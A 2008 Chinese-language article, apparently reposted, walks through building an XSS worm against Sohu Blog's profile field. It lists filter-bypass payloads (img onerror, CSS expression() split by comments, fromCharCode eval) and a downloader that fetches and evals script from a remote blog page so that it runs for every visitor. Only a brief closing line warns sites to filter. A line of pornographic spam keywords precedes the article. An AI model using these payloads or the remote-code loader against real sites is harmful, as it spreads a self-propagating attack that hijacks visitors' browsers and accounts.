亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

完整的XSS wrom入侵實(shí)現(xiàn)流程

互聯(lián)網(wǎng)   發(fā)布時(shí)間:2008-10-08 19:38:24   作者:佚名   我要評論
我先拿SOHU BLOG做示范. 1.測試過濾字符,下面都是構(gòu)造XSS所需要的關(guān)鍵字符(未包含全角字符,空格是個(gè)TABLE,/前是真正的空格),在個(gè)人檔案處看過濾了哪些. ’’;:!--"<javascript JAvaSCriPT>=&#{()} / 結(jié)果 ’’;:!--"=&#{()} //
我先拿SOHU BLOG做示范.

1.測試過濾字符,下面都是構(gòu)造XSS所需要的關(guān)鍵字符(未包含全角字符,空格是個(gè)TABLE,\/前是真正的空格),在個(gè)人檔案處看過濾了哪些.

’’;:!--"<javascript JAvaSCriPT>=&#{()} \/

結(jié)果

’’;:!--"=&#{()} // (&后是amp,論壇過濾了)

過濾了"javascript","&"和"\"這兩個(gè)轉(zhuǎn)義字符串,因此HTML轉(zhuǎn)碼和CSS樣式轉(zhuǎn)碼已無效,只好從屬性和事件入手.

2.測試一個(gè)XSS常用屬性和兩個(gè)事件,貌似沒有過濾字符.
expression
onerror
onload

3.下面開始嘗試構(gòu)造語句.如下:

<img src="#" style="Xss:expression(alert(’xss’));">

<img src="#" onerror=alert(’xss’)>

<img src="/Article/UploadFiles/200702/20070202101404522.jpg" onload=alert(’xss’)>

構(gòu)造完整標(biāo)記,頁面輸出后又全部過濾.

4."/"字符沒有過濾因此可以構(gòu)造/*xxxx*/注釋符,expression屬性可以配合注釋符構(gòu)造出語句:

<div style="xss:ex/**/pre/**/ssion(alert(’xss’))">

5.由于expression屬性比較特殊想當(dāng)于一個(gè)死循環(huán)的EVAL函數(shù),同時(shí)style標(biāo)記里不能出現(xiàn)";"字符,也就是不能構(gòu)造多條連接在一起的javascript,因此構(gòu)造出如下語句:

<DIV STYLE="xss:ex/**/pre/**/ssion(eval(xss));" xss="var Then=new Date();Then.setTime(Then.getTime() 10*1000);if(document.cookie.indexOf(’Cookie1=’) == -1){document.cookie=’Cookie1=RAY;expires=’ Then.toGMTString();alert(’xss’);}">

//設(shè)置一個(gè)COOKIE在10秒后失效,并在這條COOKIE語句中執(zhí)行其他語句或函數(shù).

6.遺憾的是SOHU BLOG對于標(biāo)記內(nèi)不合適的內(nèi)容都會過濾,因此我們無法eval標(biāo)記內(nèi)的某個(gè)變量,于是采用fromCharCode方法,將Unicode字符值專成字符串再用eval函數(shù)執(zhí)行:

<div style="xss:ex/**/pre/**/ssion(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)))">

7.感染流程考慮:

㈠.BLOG頁面的個(gè)人檔案處是頁面通用的,

㈡.XSS內(nèi)容寫到個(gè)人檔案處,所有瀏覽者都會觸發(fā)XSS

㈢.實(shí)現(xiàn)一段提交XSS內(nèi)容到個(gè)人檔案的代碼.

8.個(gè)人檔案處只能輸入2048個(gè)字符,又采用了fromCharCode方法,因此出現(xiàn)XSS代碼長度的限制,因此只能調(diào)用遠(yuǎn)程代碼,于是寫出了個(gè)XSS downloader.

主要代碼:

function d(){
a=new ActiveXObject(’Microsoft.XMLHTTP’); /*調(diào)用XMLHTTP控件
a.Open(’get’,’http://s0n9.blog.sohu.com/31406970.html’,false);/*發(fā)出一個(gè)GET提交請求
a.send();
b=a.responseText; /*將傳回值賦給變量B
eval(unescape(b.substring(b.indexOf(’--|’) 3,b.indexOf(’|--’))));
/*用indexOf計(jì)算 --|********|-- 的位置,用substring方法取出字符串,最后用unescape方法解碼.
}d()

http://s0n9.blog.sohu.com/31406970.html 頁面代碼:

alert('xss');
/*利用escape將標(biāo)點(diǎn)符號轉(zhuǎn)碼,由于responseText特性,某些字符會轉(zhuǎn)換,如"&"字符會變成"&"(&后是amp,論壇過濾了)

PS:其他傳染和詳細(xì)的偽造提交的過程略去,各門戶網(wǎng)站小心,過濾好XSS關(guān)鍵字,以防止XSS WROM爆發(fā)






相關(guān)文章

最新評論